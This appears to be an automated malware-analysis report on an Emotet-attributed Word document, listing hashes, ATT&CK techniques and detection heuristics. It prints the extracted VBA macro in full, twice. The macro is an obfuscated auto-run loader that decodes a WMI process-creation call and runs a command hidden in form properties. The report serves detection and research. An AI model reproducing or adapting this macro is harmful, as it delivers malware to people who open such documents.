Emotet Office (OLE) malware analysis — malicious · 001343ac8f3f169a

MALICIOUS

Office (OLE)

227.5 KB Created: 2020-08-26 06:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-07

MD5: 92b08373192189c2ef844fb517c4e426 SHA-1: 38cafb88383894e024114e5a7e06eb69c174c430 SHA-256: 001343ac8f3f169ab974165963cea1600e2f0999239dd0747e0976720298e165

230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, and utilizes CreateObject, indicative of a downloader. Heuristics specifically flag a hidden UserForm command stager, a common Emotet technique. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Drdna8pnccwsr = Split(Kvt_06ua5ic1ns3ij, "[[[3" + "72vfr56" + " 61fs[][" + "324 24 2" + "ds[]a")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Akesfv78u6pr3 = CreateObject(Baoklo6s_6pba85)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12201 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12201 bytes
SHA-256: `e57d7a369e8bec47edb186e4241abee988c706684bb72c49a51af9cd80c0acee`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Q0rhxfhgq3smlfoz3v" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub _ Document_open() Ytx9pgcxpall5v.Nvdq6tlp8_skuoz End Sub Attribute VB_Name = "Ytx9pgcxpall5v" Attribute VB_Base = "0{2FB90E2D-3921-479E-9363-2273FF824F14}{F34DE3E4-B2C8-4062-A85D-DA7D12C6950E}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function Nvdq6tlp8_skuoz() On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Hdv27r5yfjcg = Osd + 45 + hwb + 55 On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Dbt3vs5li7q8h1f = ChrW(Hdv27r5yfjcg + (nbs + 10 + wbvd + 5)) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Ihdlo4uad3qtskk = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Dbt3vs5li7q8h1f + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Ytx9pgcxpall5v.Maj92u8rb4yom99 + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a" On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Baoklo6s_6pba85 = C7j19wzadxxrwc(Ihdlo4uad3qtskk) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Set Akesfv78u6pr3 = CreateObject(Baoklo6s_6pba85) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Ctldv5agkpa8 = Ytx9pgcxpall5v.Sexc4pxl8uxub.ControlTipText On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 O_lsiv2f1vuehsxgmf = V_9cnov2fz5foy + (Baoklo6s_6pba85 + Dbt3vs5li7q8h1f + Ytx9pgcxpall5v.Lxwkersk1mx6.ControlTipText + Ctldv5agkpa8) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Srcnfaxrwrk = O_lsiv2f1vuehsxgmf + Ytx9pgcxpall5v.Maj92u8rb4yom99 On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Set Xyi37kk43z21przc0s = W2glkxttl3xr581of(Srcnfaxrwrk) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Lr4apcttg3v1a8t = Array(O1v5zbd82e1s0t4x0w + "Csnpmkr2k4zv6x1jp W5on7kkmauy_92oeqFkithl4dcu77jj We3o1wdfak8cl", Akesfv78u6pr3.Create(Hs8tn62kchf_r8, Yg1gibfulwcu3h2rf, Xyi37kk43z21przc0s), Kwcxw117efijl + "Mifngzaiil4g E57ptewy14kv_ J8_lcl6cucnlqk J36qoubj2zez") On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 End Function Function W2glkxttl3xr581of(R_70l4ihaabz) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Set W2glkxttl3xr581of = CreateObject(R_70l4ihaabz) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 W2glkxttl3xr581of. _ showwindow = Ytx9pgcxpall5v.BorderStyle + Ytx9pgcxpall5v.HelpContextId On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 End Function Function C7j19wzadxxrwc(Fkbgdg77iyjy3n) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Kvt_06ua5ic1ns3ij = Trim(Conversion.CVar((Fkbgdg77iyjy3n))) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Drdna8pnccwsr = Split(Kvt_06ua5ic1ns3ij, "[[[3" + "72vfr56" + " 61fs[][" + "324 24 2" + "ds[]a") On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 V15ve6e6o8lei8m = Up64giyli_16rdk + Join(Drdna8pnccwsr, Bizlrmbqev9myjx9x) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 C7j19wzadxxrwc = V15ve6e6o8lei8m On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 End Function Function Hs8tn62kchf_r8() On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Xytbu0u_1cm = Ytx9pgcxpall5v.P18b5mjrtl2fy.Tabs(1).ControlTipText On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 Hs8tn62kchf_r8 = C7j19wzadxxrwc(Xytbu0u_1cm) On Error Resume Next kgwv13T = CSng(1114 / 646) EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985)) grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688))) xBGvWP9u = Gyl - bstjqD2jE Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99 AYOZk77j = FQLI24 + 115842212 End Function

SHA-256: e57d7a369e8bec47edb186e4241abee988c706684bb72c49a51af9cd80c0acee

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Q0rhxfhgq3smlfoz3v"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ytx9pgcxpall5v.Nvdq6tlp8_skuoz
End Sub


Attribute VB_Name = "Ytx9pgcxpall5v"
Attribute VB_Base = "0{2FB90E2D-3921-479E-9363-2273FF824F14}{F34DE3E4-B2C8-4062-A85D-DA7D12C6950E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Nvdq6tlp8_skuoz()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Hdv27r5yfjcg = Osd + 45 + hwb + 55
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Dbt3vs5li7q8h1f = ChrW(Hdv27r5yfjcg + (nbs + 10 + wbvd + 5))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Ihdlo4uad3qtskk = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Dbt3vs5li7q8h1f + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Ytx9pgcxpall5v.Maj92u8rb4yom99 + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Baoklo6s_6pba85 = C7j19wzadxxrwc(Ihdlo4uad3qtskk)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Set Akesfv78u6pr3 = CreateObject(Baoklo6s_6pba85)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Ctldv5agkpa8 = Ytx9pgcxpall5v.Sexc4pxl8uxub.ControlTipText
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
O_lsiv2f1vuehsxgmf = V_9cnov2fz5foy + (Baoklo6s_6pba85 + Dbt3vs5li7q8h1f + Ytx9pgcxpall5v.Lxwkersk1mx6.ControlTipText + Ctldv5agkpa8)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Srcnfaxrwrk = O_lsiv2f1vuehsxgmf + Ytx9pgcxpall5v.Maj92u8rb4yom99
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Set Xyi37kk43z21przc0s = W2glkxttl3xr581of(Srcnfaxrwrk)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Lr4apcttg3v1a8t = Array(O1v5zbd82e1s0t4x0w + "Csnpmkr2k4zv6x1jp W5on7kkmauy_92oeqFkithl4dcu77jj We3o1wdfak8cl", Akesfv78u6pr3.Create(Hs8tn62kchf_r8, Yg1gibfulwcu3h2rf, Xyi37kk43z21przc0s), Kwcxw117efijl + "Mifngzaiil4g E57ptewy14kv_ J8_lcl6cucnlqk J36qoubj2zez")
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
End Function
Function W2glkxttl3xr581of(R_70l4ihaabz)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Set W2glkxttl3xr581of = CreateObject(R_70l4ihaabz)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
